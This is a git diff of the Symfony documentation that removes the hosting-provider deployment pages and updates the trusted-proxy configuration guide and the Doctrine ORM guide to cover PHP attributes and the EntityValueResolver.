https://ansistrano.com/ .. _`Magallanes`: https://github.com/andres-montanez/Magallanes -.. _`Memcached`: http://memcached.org/ +.. _`Memcached`: https://memcached.org/ .. _`Redis`: https://redis.io/ .. _`Symfony plugin`: https://github.com/capistrano/symfony/ .. _`Deployer`: https://deployer.org/ .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging -.. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4 -.. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html -.. _`Azure`: https://azure.microsoft.com/en-us/develop/php/ -.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni -.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle -.. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/ -.. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html -.. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony +.. _`Platform.sh`: https://symfony.com/cloud +.. _`Symfony CLI`: https://symfony.com/download +.. _`symfony/apache-pack`: https://packagist.org/packages/symfony/apache-pack diff --git a/deployment/azure-website.rst b/deployment/azure-website.rst deleted file mode 100644 index 15361b9e416..00000000000 --- a/deployment/azure-website.rst +++ /dev/null @@ -1,12 +0,0 @@ -:orphan: - -.. index:: - single: Deployment; Deploying to Microsoft Azure Website Cloud - -Deploying to Microsoft Azure -============================ - -If you want information about deploying to Azure, see their official documentation: -`Create your PHP web application on Azure`_ - -.. _`Create your PHP web application on Azure`: https://azure.microsoft.com/en-us/develop/php/ diff --git a/deployment/fortrabbit.rst b/deployment/fortrabbit.rst deleted file mode 100644 index d2aedab9598..00000000000 --- a/deployment/fortrabbit.rst +++ /dev/null @@ -1,12 +0,0 @@ -:orphan: - -.. index:: - single: Deployment; Deploying to fortrabbit.com - -Deploying to fortrabbit -======================= - -For details on deploying to fortrabbit, see their official documentation: -`Install Symfony`_ - -.. _`Install Symfony`: https://help.fortrabbit.com/install-symfony-5-uni diff --git a/deployment/heroku.rst b/deployment/heroku.rst deleted file mode 100644 index 1a2b416d8f0..00000000000 --- a/deployment/heroku.rst +++ /dev/null @@ -1,12 +0,0 @@ -:orphan: - -.. index:: - single: Deployment; Deploying to Heroku Cloud - -Deploying to Heroku -=================== - -To deploy to Heroku, see their official documentation: -`Deploying Symfony 4 & 5 Applications on Heroku`_. - -.. _`Deploying Symfony 4 & 5 Applications on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4 diff --git a/deployment/platformsh.rst b/deployment/platformsh.rst deleted file mode 100644 index c124da18674..00000000000 --- a/deployment/platformsh.rst +++ /dev/null @@ -1,12 +0,0 @@ -:orphan: - -.. index:: - single: Deployment; Deploying to Platform.sh - -Deploying to Platform.sh -======================== - -To deploy to Platform.sh, see their official documentation: -`Symfony Platform.sh Documentation`_. - -.. _`Symfony Platform.sh Documentation`: https://docs.platform.sh/frameworks/symfony.html diff --git a/deployment/proxies.rst b/deployment/proxies.rst index 12bf3f1cac1..4dad6f95fb1 100644 --- a/deployment/proxies.rst +++ b/deployment/proxies.rst @@ -22,31 +22,116 @@ Solution: ``setTrustedProxies()`` --------------------------------- To fix this, you need to tell Symfony which reverse proxy IP addresses to trust -and what headers your reverse proxy uses to send information:: +and what headers your reverse proxy uses to send information. + +You can do that by setting the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS`` +environment variables on your machine. Alternatively, you can configure them +using the following configuration options: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + # the IP address (or range) of your proxy + trusted_proxies: '192.0.0.1,10.0.0.0/8' + # shortcut for private IP address ranges of your proxy + trusted_proxies: 'private_ranges' + # trust *all* "X-Forwarded-*" headers + trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix'] + # or, if your proxy instead uses the "Forwarded" header + trusted_headers: ['forwarded'] + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <!-- the IP address (or range) of your proxy --> + <framework:trusted-proxies>192.0.0.1,10.0.0.0/8</framework:trusted-proxies> + <!-- shortcut for private IP address ranges of your proxy --> + <framework:trusted-proxies>private_ranges</framework:trusted-proxies> + + <!-- trust *all* "X-Forwarded-*" headers --> + <framework:trusted-header>x-forwarded-for</framework:trusted-header> + <framework:trusted-header>x-forwarded-host</framework:trusted-header> + <framework:trusted-header>x-forwarded-proto</framework:trusted-header> + <framework:trusted-header>x-forwarded-port</framework:trusted-header> + <framework:trusted-header>x-forwarded-prefix</framework:trusted-header> + + <!-- or, if your proxy instead uses the "Forwarded" header --> + <framework:trusted-header>forwarded</framework:trusted-header> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework + // the IP address (or range) of your proxy + ->trustedProxies('192.0.0.1,10.0.0.0/8') + // shortcut for private IP address ranges of your proxy + ->trustedProxies('private_ranges') + // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers) + ->trustedHeaders(['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port', 'x-forwarded-prefix']) + // or, if your proxy instead uses the "Forwarded" header + ->trustedHeaders(['forwarded']) + ; + }; + +.. versionadded:: 7.1 + + ``private_ranges`` as a shortcut for private IP address ranges for the + ``trusted_proxies`` option was introduced in Symfony 7.1. + +.. versionadded:: 7.2 + + Support for the ``SYMFONY_TRUSTED_PROXIES`` and ``SYMFONY_TRUSTED_HEADERS`` + environment variables was introduced in Symfony 7.2. + +.. danger:: + + Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the + application to `HTTP Host header attacks`_. Make sure the proxy really + sends an ``x-forwarded-host`` header. - // public/index.php +The Request object has several ``Request::HEADER_*`` constants that control exactly +*which* headers from your reverse proxy are trusted. The argument is a bit field, +so you can also pass your own value (e.g. ``0b00110``). - // ... - $request = Request::createFromGlobals(); +.. tip:: - // tell Symfony about your reverse proxy - Request::setTrustedProxies( - // the IP address (or range) of your proxy - ['192.0.0.1', '10.0.0.0/8'], + You can set a ``TRUSTED_PROXIES`` env var to configure proxies on a per-environment basis: - // trust *all* "X-Forwarded-*" headers - Request::HEADER_X_FORWARDED_ALL + .. code-block:: bash - // or, if your proxy instead uses the "Forwarded" header - // Request::HEADER_FORWARDED + # .env + TRUSTED_PROXIES=127.0.0.1,10.0.0.0/8 - // or, if you're using AWS ELB - // Request::HEADER_X_FORWARDED_AWS_ELB - ); + .. code-block:: yaml -The Request object has several ``Request::HEADER_*`` constants that control exactly -*which* headers from your reverse proxy are trusted. The argument is a bit field, -so you can also pass your own value (e.g. ``0b00110``). + # config/packages/framework.yaml + framework: + # ... + trusted_proxies: '%env(TRUSTED_PROXIES)%' + +.. danger:: + + The "trusted proxies" feature does not work as expected when using the + `nginx realip module`_. Disable that module when serving Symfony applications. But what if the IP of my Reverse Proxy Changes Constantly! ---------------------------------------------------------- @@ -59,35 +144,29 @@ In this case, you'll need to - *very carefully* - trust *all* proxies. other than your load balancers. For AWS, this can be done with `security groups`_. #. Once you've guaranteed that traffic will only come from your trusted reverse - proxies, configure Symfony to *always* trust incoming request:: + proxies, configure Symfony to *always* trust incoming request: - // public/index.php + .. code-block:: yaml - // ... - Request::setTrustedProxies( - // trust *all* requests (the 'REMOTE_ADDR' string is replaced at - // run time by $_SERVER['REMOTE_ADDR']) - ['127.0.0.1', 'REMOTE_ADDR'], + # config/packages/framework.yaml + framework: + # ... + # trust *all* requests (the 'REMOTE_ADDR' string is replaced at + # runtime by $_SERVER['REMOTE_ADDR']) + trusted_proxies: '127.0.0.1,REMOTE_ADDR' - // if you're using ELB, otherwise use a constant from above - Request::HEADER_X_FORWARDED_AWS_ELB - ); + # you can also use the 'PRIVATE_SUBNETS' string, which is replaced at + # runtime by the IpUtils::PRIVATE_SUBNETS constant + # trusted_proxies: '127.0.0.1,PRIVATE_SUBNETS' + +.. versionadded:: 7.2 + + The support for the ``'PRIVATE_SUBNETS'`` string was introduced in Symfony 7.2. That's it! It's critical that you prevent traffic from all non-trusted sources. If you allow outside traffic, they could "spoof" their true IP address and other information. -.. tip:: - - In applications using :ref:`Symfony Flex <symfony-flex>` you can set the - ``TRUSTED_PROXIES`` env var: - - .. code-block:: bash - - # .env - TRUSTED_PROXIES=127.0.0.1,REMOTE_ADDR - - If you are also using a reverse proxy on top of your load balancer (e.g. `CloudFront`_), calling ``$request->server->get('REMOTE_ADDR')`` won't be enough, as it will only trust the node sitting directly above your application @@ -95,14 +174,45 @@ enough, as it will only trust the node sitting directly above your application ranges of any additional proxy (e.g. `CloudFront IP ranges`_) to the array of trusted proxies. +Reverse proxy in a subpath / subfolder +-------------------------------------- + +If your Symfony application runs behind a reverse proxy and it's served in a +subpath/subfolder, Symfony might generate incorrect URLs that ignore the +subpath/subfolder of the reverse proxy. + +To fix this, you need to pass the subpath/subfolder route prefix of the reverse +proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can +normally be configured in your reverse proxy configuration. Configure +``X-Forwarded-Prefix`` as trusted header to be able to use this feature. + +The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request +objects, which is used to generate absolute paths and URLs in Symfony applications. +Without the header, the base URL would be only determined based on the configuration +of the web server running Symfony, which leads to incorrect paths/URLs, when the +application is served under a subpath/subfolder by a reverse proxy. + +For example if your Symfony application is directly served under a URL like +``https://symfony.tld/`` and you would like to use a reverse proxy to serve the +application under ``https://public.tld/app/``, you would need to set the +``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration. +Without the header, Symfony would generate URLs based on its server base URL +(e.g. ``/my/route``) instead of the correct ``/app/my/route``, which is +required to access the route via the reverse proxy. + +The header can be different for each reverse proxy, so that access via different +reverse proxies served under different subpaths/subfolders can be handled correctly. + Custom Headers When Using a Reverse Proxy ----------------------------------------- -Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) may force you to use a custom header. -For instance you have ``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``. +Some reverse proxies (like `CloudFront`_ with ``CloudFront-Forwarded-Proto``) +may force you to use a custom header. For instance you have +``Custom-Forwarded-Proto`` instead of ``X-Forwarded-Proto``. -In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value of -``Custom-Forwarded-Proto`` early enough in your application, i.e. before handling the request:: +In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value +of ``Custom-Forwarded-Proto`` early enough in your application, i.e. before +handling the request:: // public/index.php @@ -111,6 +221,31 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value // ... $response = $kernel->handle($request); +Overriding Configuration Behind Hidden SSL Termination +------------------------------------------------------ + +Some cloud setups (like running a Docker container with the "Web App for Containers" +in `Microsoft Azure`_) do SSL termination and contact your web server over HTTP, but +do not change the remote address nor set the ``X-Forwarded-*`` headers. This means +the trusted proxy feature of Symfony can't help you. + +Once you made sure your server is only reachable through the cloud proxy over HTTPS +and not through HTTP, you can override the information your web server sends to PHP. +For Nginx, this could look like this: + +.. code-block:: nginx + + location ~ ^/index\.php$ { + fastcgi_pass 127.0.0.1:9000; + include fastcgi.conf; + # Lie to Symfony about the protocol and port so that it generates the correct HTTPS URLs + fastcgi_param SERVER_PORT "443"; + fastcgi_param HTTPS "on"; + } + .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json +.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html +.. _`nginx realip module`: https://nginx.org/en/docs/http/ngx_http_realip_module.html +.. _`Microsoft Azure`: https://en.wikipedia.org/wiki/Microsoft_Azure diff --git a/doctrine.rst b/doctrine.rst index c34503ed434..6a1438322fa 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -1,6 +1,3 @@ -.. index:: - single: Doctrine - Databases and the Doctrine ORM ============================== @@ -44,22 +41,32 @@ The database connection information is stored as an environment variable called # .env (or override DATABASE_URL in .env.local to avoid committing your changes) # customize this line! - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7" + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37" + + # to use mariadb: + # Before doctrine/dbal < 3.7 + # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=mariadb-10.5.8" + # Since doctrine/dbal 3.7 + # DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=10.5.8-MariaDB" # to use sqlite: # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db" - + # to use postgresql: - # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8" + # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=12.19 (Debian 12.19-1.pgdg120+1)&charset=utf8" + + # to use oracle: + # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name" -.. caution:: +.. warning:: If the username, password, host or database name contain any character considered - special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), - you must encode them. See `RFC 3986`_ for the full list of reserved characters or - use the :phpfunction:`urlencode` function to encode them. In this case you need to - remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors: - ``url: '%env(resolve:DATABASE_URL)%'`` + special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), + you must encode them. See `RFC 3986`_ for the full list of reserved characters. + You can use the :phpfunction:`urlencode` function to encode them or + the :ref:`urlencode environment variable processor <urlencode_environment_variable_processor>`. + In this case you need to remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` + to avoid errors: ``url: '%env(DATABASE_URL)%'`` Now that your connection parameters are setup, Doctrine can create the ``db_name`` database for you: @@ -69,7 +76,7 @@ database for you: $ php bin/console doctrine:database:create There are more options in ``config/packages/doctrine.yaml`` that you can configure, -including your ``server_version`` (e.g. 5.7 if you're using MySQL 5.7), which may +including your ``server_version`` (e.g. 8.0.37 if you're using MySQL 8.0.37), which may affect how Doctrine functions. .. tip:: @@ -77,6 +84,8 @@ affect how Doctrine functions. There are many other Doctrine commands. Run ``php bin/console list doctrine`` to see a full list. +.. _doctrine-adding-mapping: + Creating an Entity Class ------------------------ @@ -84,8 +93,6 @@ Suppose you're building an application where products need to be displayed. Without even thinking about Doctrine or databases, you already know that you need a ``Product`` object to represent those products. -.. _doctrine-adding-mapping: - You can use the ``make:entity`` command to create this class and any fields you need. The command will ask you some questions - answer them like done below: @@ -121,12 +128,7 @@ need. The command will ask you some questions - answer them like done below: > (press enter again to finish) -.. versionadded:: 1.3 - - The interactive behavior of the ``make:entity`` command was introduced - in MakerBundle 1.3. - -Woh! You now have a new ``src/Entity/Product.php`` file:: +Whoa! You now have a new ``src/Entity/Product.php`` file:: // src/Entity/Product.php namespace App\Entity; @@ -134,27 +136,19 @@ Woh! You now have a new ``src/Entity/Product.php`` file:: use App\Repository\ProductRepository; use Doctrine\ORM\Mapping as ORM; - /** - * @ORM\Entity(repositoryClass=ProductRepository::class) - */ + #[ORM\Entity(repositoryClass: ProductRepository::class)] class Product { - /** - * @ORM\Id() - * @ORM\GeneratedValue() - * @ORM\Column(type="integer") - */ - private $id; + #[ORM\Id] + #[ORM\GeneratedValue] + #[ORM\Column] + private ?int $id = null; - /** - * @ORM\Column(type="string", length=255) - */ - private $name; + #[ORM\Column(length: 255)] + private ?string $name = null; - /** - * @ORM\Column(type="integer") - */ - private $price; + #[ORM\Column] + private ?int $price = null; public function getId(): ?int { @@ -164,19 +158,23 @@ Woh! You now have a new ``src/Entity/Product.php`` file:: // ... getter and setter methods } +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates an entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + .. note:: - Confused why the price is an integer? Don't worry: this is just an example. - But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues. + Starting in v1.44.0 - `MakerBundle`_: only supports entities using PHP attributes. .. note:: - If you are using an SQLite database, you'll see the following error: - *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL - column with default value NULL*. Add a ``nullable=true`` option to the - ``description`` property to fix the problem. + Confused why the price is an integer? Don't worry: this is just an example. + But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues. -.. caution:: +.. warning:: There is a `limit of 767 bytes for the index key prefix`_ when using InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255 @@ -188,28 +186,31 @@ Woh! You now have a new ``src/Entity/Product.php`` file:: This class is called an "entity". And soon, you'll be able to save and query Product objects to a ``product`` table in your database. Each property in the ``Product`` -entity can be mapped to a column in that table. This is usually done with annotations: -the ``@ORM\...`` comments that you see above each property: +entity can be mapped to a column in that table. This is usually done with attributes: +the ``#[ORM\Column(...)]`` comments that you see above each property: -.. image:: /_images/doctrine/mapping_single_entity.png - :align: center +.. raw:: html + + <object data="_images/doctrine/mapping_single_entity.svg" type="image/svg+xml" + alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table" + ></object> The ``make:entity`` command is a tool to make life easier. But this is *your* code: add/remove fields, add/remove methods or update configuration. Doctrine supports a wide variety of field types, each with their own options. -To see a full list, check out `Doctrine's Mapping Types documentation`_. -If you want to use XML instead of annotations, add ``type: xml`` and +Check out the `list of Doctrine mapping types`_ in the Doctrine documentation. +If you want to use XML instead of attributes, add ``type: xml`` and ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your ``config/packages/doctrine.yaml`` file. -.. caution:: +.. warning:: Be careful not to use reserved SQL keywords as your table or column names (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_ for details on how to escape these. Or, change the table name with - ``@ORM\Table(name="groups")`` above the class or configure the column name with - the ``name="group_name"`` option. + ``#[ORM\Table(name: 'groups')]`` above the class or configure the column name with + the ``name: 'group_name'`` option. .. _doctrine-creating-the-database-tables-schema: @@ -225,11 +226,18 @@ already installed: $ php bin/console make:migration +.. tip:: + + Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration`` + generates a nice and tidy migration file. + If everything worked, you should see something like this: +.. code-block:: text + SUCCESS! - Next: Review the new migration "migrations/Version20180207231217.php" + Next: Review the new migration "migrations/Version20211116204726.php" Then: Run the migration with php bin/console doctrine:migrations:migrate If you open this file, it contains the SQL needed to update your database! To run @@ -277,20 +285,19 @@ methods: .. code-block:: diff - // src/Entity/Product.php - // ... + // src/Entity/Product.php + // ... + + use Doctrine\DBAL\Types\Types; - class Product - { - // ... + class Product + { + // ... - + /** - + * @ORM\Column(type="text") - + */ - + private $description; + + #[ORM\Column(type: Types::TEXT)] + + private string $description; - // getDescription() & setDescription() were also added - } + // getDescription() & setDescription() were also added + } The new property is mapped, but it doesn't exist yet in the ``product`` table. No problem! Generate a new migration: @@ -313,6 +320,13 @@ before, execute your migrations: $ php bin/console doctrine:migrations:migrate +.. warning:: + + If you are using an SQLite database, you'll see the following error: + *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL + column with default value NULL*. Add a ``nullable=true`` option to the + ``description`` property to fix the problem. + This will only execute the *one* new migration file, because DoctrineMigrationsBundle knows that the first migration was already executed earlier. Behind the scenes, it manages a ``migration_versions`` table to track this. @@ -355,18 +369,13 @@ and save it:: use App\Entity\Product; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class ProductController extends AbstractController { - /** - * @Route("/product", name="create_product") - */ - public function createProduct(): Response + #[Route('/product', name: 'create_product')] + public function createProduct(EntityManagerInterface $entityManager): Response { - // you can fetch the EntityManager via $this->getDoctrine() - // or you can add an argument to the action: createProduct(EntityManagerInterface $entityManager) - $entityManager = $this->getDoctrine()->getManager(); - $product = new Product(); $product->setName('Keyboard'); $product->setPrice(1999); @@ -391,26 +400,27 @@ you can query the database directly: .. code-block:: terminal - $ php bin/console doctrine:query:sql 'SELECT * FROM product' + $ php bin/console dbal:run-sql 'SELECT * FROM product' # on Windows systems not using Powershell, run this command instead: - # php bin/console doctrine:query:sql "SELECT * FROM product" + # php bin/console dbal:run-sql "SELECT * FROM product" Take a look at the previous example in more detail: .. _doctrine-entity-manager: -* **line 18** The ``$this->getDoctrine()->getManager()`` method gets Doctrine's - *entity manager* object, which is the most important object in Doctrine. It's - responsible for saving objects to, and fetching objects from, the database. +* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony + to :ref:`inject the Entity Manager service <services-constructor-injection>` into + the controller method. This object is responsible for saving objects to, and + fetching objects from, the database. -* **lines 20-23** In this section, you instantiate and work with the ``$product`` +* **lines 15-18** In this section, you instantiate and work with the ``$product`` object like any other normal PHP object. -* **line 26** The ``persist($product)`` call tells Doctrine to "manage" the +* **line 21** The ``persist($product)`` call tells Doctrine to "manage" the ``$product`` object. This does **not** cause a query to be made to the database. -* **line 29** When the ``flush()`` method is called, Doctrine looks through +* **line 24** When the ``flush()`` method is called, Doctrine looks through all of the objects that it's managing to see if they need to be persisted to the database. In this example, the ``$product`` object's data doesn't exist in the database, so the entity manager executes an ``INSERT`` query, @@ -429,31 +439,30 @@ is smart enough to know if it should INSERT or UPDATE your entity. Validating Objects ------------------ -:doc:`The Symfony validator </validation>` reuses Doctrine metadata to perform -some basic validation tasks:: +:doc:`The Symfony validator </validation>` can reuse Doctrine metadata to perform +some basic validation tasks. First, add or configure the +:ref:`auto_mapping option <reference-validation-auto-mapping>` to define which +entities should be introspected by Symfony to add automatic validation constraints. + +Consider the following controller code:: // src/Controller/ProductController.php namespace App\Controller; use App\Entity\Product; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Validator\Validator\ValidatorInterface; // ... class ProductController extends AbstractController { - /** - * @Route("/product", name="create_product") - */ + #[Route('/product', name: 'create_product')] public function createProduct(ValidatorInterface $validator): Response { $product = new Product(); - // This will trigger an error: the column isn't nullable in the database - $product->setName(null); - // This will trigger a type mismatch error: an integer is expected - $product->setPrice('1999'); - // ... + // ... update the product data somehow (e.g. with a form) ... $errors = $validator->validate($product); if (count($errors) > 0) { @@ -465,9 +474,11 @@ some basic validation tasks:: } Although the ``Product`` entity doesn't define any explicit -:doc:`validation configuration </validation>`, Symfony introspects the Doctrine -mapping configuration to infer some validation rules. For example, given that -the ``name`` property can't be ``null`` in the database, a +:doc:`validation configuration </validation>`, if the ``auto_mapping`` option +includes it in the list of entities to introspect, Symfony will infer some +validation rules for it and will apply them. + +For example, given that the ``name`` property can't be ``null`` in the database, a :doc:`NotNull constraint </reference/constraints/NotNull>` is added automatically to the property (if it doesn't contain that constraint already). @@ -499,46 +510,57 @@ Fetching an object back out of the database is even easier. Suppose you want to be able to go to ``/product/1`` to see your new product:: // src/Controller/ProductController.php + namespace App\Controller; + + use App\Entity\Product; + use Doctrine\ORM\EntityManagerInterface; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; // ... - /** - * @Route("/product/{id}", name="product_show") - */ - public function show($id) + class ProductController extends AbstractController { - $product = $this->getDoctrine() - ->getRepository(Product::class) - ->find($id); - - if (!$product) { - throw $this->createNotFoundException( - 'No product found for id '.$id - ); - } + #[Route('/product/{id}', name: 'product_show')] + public function show(EntityManagerInterface $entityManager, int $id): Response + { + $product = $entityManager->getRepository(Product::class)->find($id); + + if (!$product) { + throw $this->createNotFoundException( + 'No product found for id '.$id + ); + } - return new Response('Check out this great product: '.$product->getName()); + return new Response('Check out this great product: '.$product->getName()); - // or render a template - // in the template, print things with {{ product.name }} - // return $this->render('product/show.html.twig', ['product' => $product]); + // or render a template + // in the template, print things with {{ product.name }} + // return $this->render('product/show.html.twig', ['product' => $product]); + } } Another possibility is to use the ``ProductRepository`` using Symfony's autowiring and injected by the dependency injection container:: // src/Controller/ProductController.php - // ... + namespace App\Controller; + + use App\Entity\Product; use App\Repository\ProductRepository; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + // ... - /** - * @Route("/product/{id}", name="product_show") - */ - public function show($id, ProductRepository $productRepository) + class ProductController extends AbstractController { - $product = $productRepository - ->find($id); + #[Route('/product/{id}', name: 'product_show')] + public function show(ProductRepository $productRepository, int $id): Response + { + $product = $productRepository + ->find($id); - // ... + // ... + } } Try it out! @@ -551,7 +573,7 @@ job is to help you fetch entities of a certain class. Once you have a repository object, you have many helper methods:: - $repository = $this->getDoctrine()->getRepository(Product::class); + $repository = $entityManager->getRepository(Product::class); // look for a single Product by its primary key (usually "id") $product = $repository->find($id); @@ -582,8 +604,8 @@ the :ref:`doctrine-queries` section. will display the number of queries and the time it took to execute them: .. image:: /_images/doctrine/doctrine_web_debug_toolbar.png - :align: center - :class: with-browser + :alt: The web dev toolbar showing the Doctrine item. + :class: with-browser If the number of database queries is too high, the icon will turn yellow to indicate that something may not be correct. Click on the icon to open the @@ -591,34 +613,284 @@ the :ref:`doctrine-queries` section. see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>` by running this command: ``composer require --dev symfony/profiler-pack``. -Automatically Fetching Objects (ParamConverter) ------------------------------------------------ + For more information, read the :doc:`Symfony profiler documentation </profiler>`. -In many cases, you can use the `SensioFrameworkExtraBundle`_ to do the query -for you automatically! First, install the bundle in case you don't have it: +.. _doctrine-entity-value-resolver: -.. code-block:: terminal +Automatically Fetching Objects (EntityValueResolver) +---------------------------------------------------- - $ composer require sensio/framework-extra-bundle +.. versionadded:: 2.7.1 -Now, simplify your controller:: + Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle 2.7.1. + +In many cases, you can use the ``EntityValueResolver`` to do the query for you +automatically! You can simplify the controller to:: // src/Controller/ProductController.php + namespace App\Controller; + use App\Entity\Product; + use App\Repository\ProductRepository; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + // ... + + class ProductController extends AbstractController + { + #[Route('/product/{id}')] + public function show(Product $product): Response + { + // use the Product! + // ... + } + } + +That's it! The attribute uses the ``{id}`` from the route to query for the ``Product`` +by the ``id`` column. If it's not found, a 404 error is thrown. + +You can change this behavior by making the controller argument optional. In that +case, no 404 is thrown automatically and you're free to handle the missing entity +yourself:: + + #[Route('/product/{id}')] + public function show(?Product $product): Response + { + if (null === $product) { + // run your own logic to return a custom response + } + + // ... + } + +.. tip:: + + When enabled globally, it's possible to disable the behavior on a specific + controller, by using the ``MapEntity`` set to ``disabled``:: + + public function show( + #[CurrentUser] + #[MapEntity(disabled: true)] + User $user + ): Response { + // User is not resolved by the EntityValueResolver + // ... + } + +Fetch Automatically +~~~~~~~~~~~~~~~~~~~ + +If your route wildcards match properties on your entity, then the resolver +will automatically fetch them:: /** - * @Route("/product/{id}", name="product_show") + * Fetch via primary key because {id} is in the route. */ - public function show(Product $product) + #[Route('/product/{id}')] + public function showByPk(Product $product): Response + { + } + + /** + * Perform a findOneBy() where the slug property matches {slug}. + */ + #[Route('/product/{slug:product}')] + public function showBySlug(Product $product): Response + { + } + +Automatic fetching works in these situations: + +* If ``{id}`` is in your route, then this is used to fetch by + primary key via the ``find()`` method. + +* The resolver will attempt to do a ``findOneBy()`` fetch by using + *all* of the wildcards in your route that are actually properties + on your entity (non-properties are ignored). + +The ``{slug:product}`` syntax maps the route parameter named ``slug`` to the +controller argument named ``$product``. It also hints the resolver to look up +the corresponding ``Product`` object from the database using the slug. + +.. versionadded:: 7.1 + + Route parameter mapping was introduced in Symfony 7.1. + +You can also configure the mapping explicitly for any controller argument +using the ``MapEntity`` attribute. You can even control the behavior of the +``EntityValueResolver`` by using the `MapEntity options`_ :: + + // src/Controller/ProductController.php + namespace App\Controller; + + use App\Entity\Product; + use Symfony\Bridge\Doctrine\Attribute\MapEntity; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + // ... + + class ProductController extends AbstractController { - // use the Product! + #[Route('/product/{slug}')] + public function show( + #[MapEntity(mapping: ['slug' => 'slug'])] + Product $product + ): Response { + // use the Product! + // ... + } + } + +Fetch via an Expression +~~~~~~~~~~~~~~~~~~~~~~~ + +If automatic fetching doesn't work for your use case, you can write an expression +using the :doc:`ExpressionLanguage component </components/expression_language>`:: + + #[Route('/product/{product_id}')] + public function show( + #[MapEntity(expr: 'repository.find(product_id)')] + Product $product + ): Response { + } + +In the expression, the ``repository`` variable will be your entity's +Repository class and any route wildcards - like ``{product_id}`` are +available as variables. + +The repository method called in the expression can also return a list of entities. +In that case, update the type of your controller argument:: + + #[Route('/posts_by/{author_id}')] + public function authorPosts( + #[MapEntity(class: Post::class, expr: 'repository.findBy({"author": author_id}, {}, 10)')] + iterable $posts + ): Response { + } + +.. versionadded:: 7.1 + + The mapping of the lists of entities was introduced in Symfony 7.1. + +This can also be used to help resolve multiple arguments:: + + #[Route('/product/{id}/comments/{comment_id}')] + public function show( + Product $product, + 